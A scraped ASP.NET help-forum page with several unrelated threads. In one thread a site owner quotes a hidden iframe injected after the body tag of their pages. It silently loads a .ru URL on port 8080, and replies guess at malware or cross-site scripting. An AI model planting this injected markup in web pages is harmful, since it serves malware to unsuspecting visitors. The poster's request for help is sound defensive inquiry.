|
Would it work to declare aCheckBox as a global variable and then instantiate it in the common method? If you need to refer to more than one at a time, I'd use the common method to create a collection.
|
|
|
|
|
Hi All,
I have developed a website using asp.net. The problem is someone was write for unwanted content in my two pages like default & home pages. When go to my url it open a login page. Once the user will give valid input then i will redirect the default page. And next to go to Home page.
The following text was write in my site.
<iframe frameborder="0" onload="if (!this.src){ this.src='http://testossteron.ru:8080/index.php'; this.height='0'; this.width='0';}" >wnwoccykiicptwlnvyhdhlbctpxyvqw</iframe>
This text was write on after body tag.
How this text was write in my default page and how to avoid this type of issues?
Please Help Me
|
|
|
|
|
Seems like your web pages infected by a malware. You contact your host providers for further assistance. Another possibility is that the cross site scripting. Do you validate the user inputs?
|
|
|
|
|
Thank your post.
I did validate for two input boxes.
|
|
|
|
|
I think its a Trojan Attack in the server. Are your server is not protected from Antivirus or Security softwares ?
If not, buy one and install it immediately. These are to steal important data from your server.
Check this
Malicious Script[^]
|
|
|
|
|
Can anybody please tell me how to code for user login.(ie.,)the window should have a 1.username field
2.password field
3.ok button
4.cancel button
|
|
|
|
|
Try here[^]
only two letters away from being an asset
|
|
|
|
|
|
let me know how to code in ASP.NET using c# for creating user login window
|
|
|
|
|
What is the problem with this ??
You can use asp:login
|
|
|
|
|
Please suggest me with a good example
|
|
|
|
|
|
gkarthikeyan1987 wrote: Please suggest me with a good example
Maybe yo should give us your teacher's email and we'll send the code direct, that way you won't have to waste any time copying it.
|
|
|
|
|
In my web application ,i wanted to sign a document using smartcard at the client side and verification at the server side.
I have done this by using capicom activex objects in javascript.but for a small string also it gives the signed output of more then 3000 charactes.
If anyone has already done this process,please give me your valuable suggesion/input.
Is there any alternate for capicom,to use in web application?
Thanks and regards,
Ramba
|
|
|
|
|
i have a gridview for which columns are autogenerated.
i used a datatable to bind the values to grid.
now i want to select a cell.on click of this cell the page should be navigated to other aspx page and along with it carry the cell data and cell column header value also.
for cells that does not have any values i want multi selection of those cells
|
|
|
|
|
So what have you tried?
AFAIK, you will need to add an onclick event (javascript) of each of your gridview cell. From there, you will have to do a manual submit. You will also need to set a hidden field that will let you know that the postback was caused by the gridview cell click.
It's not necessary to be so stupid, either, but people manage it. - Christian Graus, 2009 AD
|
|
|
|
|
|
I don't think so. OP has used datagrid in subject and gridview in the post. I went with the control in the post i.e. gridview. Although I should have asked if it is a DataGrid or a GridView.
It's not necessary to be so stupid, either, but people manage it. - Christian Graus, 2009 AD
|
|
|
|
|
A HyperlinkColumn is used to allow navigation to another resource. You can attach additional information needing to be passed to the the other page using the query string for this link. Depending on what you sending to the next page it may be better to pass an ID and look up the info on the page.
http://aspnet.4guysfromrolla.com/articles/040502-1.aspx[^]
only two letters away from being an asset
|
|
|
|
|
Respected Sir,
How I can read the .pdf file which is uploaded into the server,
by using Fileuploade Control.Please help me...
Thanks.
|
|
|
|
|
Give the Link directly to the pdf file...!
lrsalunkhe wrote: Fileuploade Control
Why to use Fileupload control?.
Fileupload control Uses only to save the file..!
FileUpload1.SaveAs (Server .MapPath (FileUpload1.PostedFile.FileName ));
LatestArticle :Log4Net
Why Do Some People Forget To Mark as Answer .If It Helps.
|
|
|
|
|
Respected Sir,
I have Save the File after that can we view this saved file.
Thanks.
|
|
|
|
|
your question is not clear......... You have uploaded a PDF file and now you want to show that file........
|
|
|
|
|
Respected,
I am Read or Access for display this uploaded pdf file again it has to be saved on server.
Thanks..
|
|
|
|
|
Take a Hyperlink and set the navigate url to tht pdf
<asp:HyperLink ID="HyperLink1" runat="server"
NavigateUrl="~/YourFile.pdf">HyperLink</asp:HyperLink>
or
Response.Redirect("Yourpdf.pdf");
LatestArticle :Log4Net
Why Do Some People Forget To Mark as Answer .If It Helps.
|
|
|
|